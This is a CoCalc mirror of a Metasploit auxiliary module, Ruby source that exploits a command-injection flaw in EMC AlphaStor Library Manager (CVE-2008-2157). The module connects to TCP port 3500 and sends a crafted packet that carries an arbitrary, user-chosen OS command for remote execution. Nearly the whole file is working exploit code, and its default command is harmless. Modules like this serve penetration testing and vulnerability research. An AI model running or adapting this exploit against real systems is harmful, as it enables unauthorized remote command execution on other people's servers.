CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
9
def initialize(info = {})
10
super(update_info(info,
11
'Name' => 'EMC AlphaStor Library Manager Arbitrary Command Execution',
12
'Description' => %q{
13
EMC AlphaStor Library Manager is prone to a remote command-injection vulnerability
14
because the application fails to properly sanitize user-supplied input.
15
},
16
'Author' => [ 'MC' ],
17
'License' => MSF_LICENSE,
18
'References' =>
19
[
20
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],
21
[ 'CVE', '2008-2157' ],
22
[ 'OSVDB', '45715' ],
23
[ 'BID', '29398' ],
24
],
25
'DisclosureDate' => '2008-05-27'))
26
27
register_options(
28
[
29
Opt::RPORT(3500),
30
OptString.new('CMD', [ false, 'The OS command to execute', 'echo metasploit > metasploit.txt']),
31
])
32
end
33
34
def run
35
connect
36
37
data = "\x75" + datastore['CMD']
38
pad = "\x00" * 512
39
40
pkt = data + pad
41
42
# commands are executed blindly.
43
print_status("Sending command: #{datastore['CMD']}")
44
sock.put(pkt)
45
46
select(nil,nil,nil,1)
47
48
sock.get_once
49
50
print_status("Executed '#{datastore['CMD']}'...")
51
52
disconnect
53
end
54
end
55
56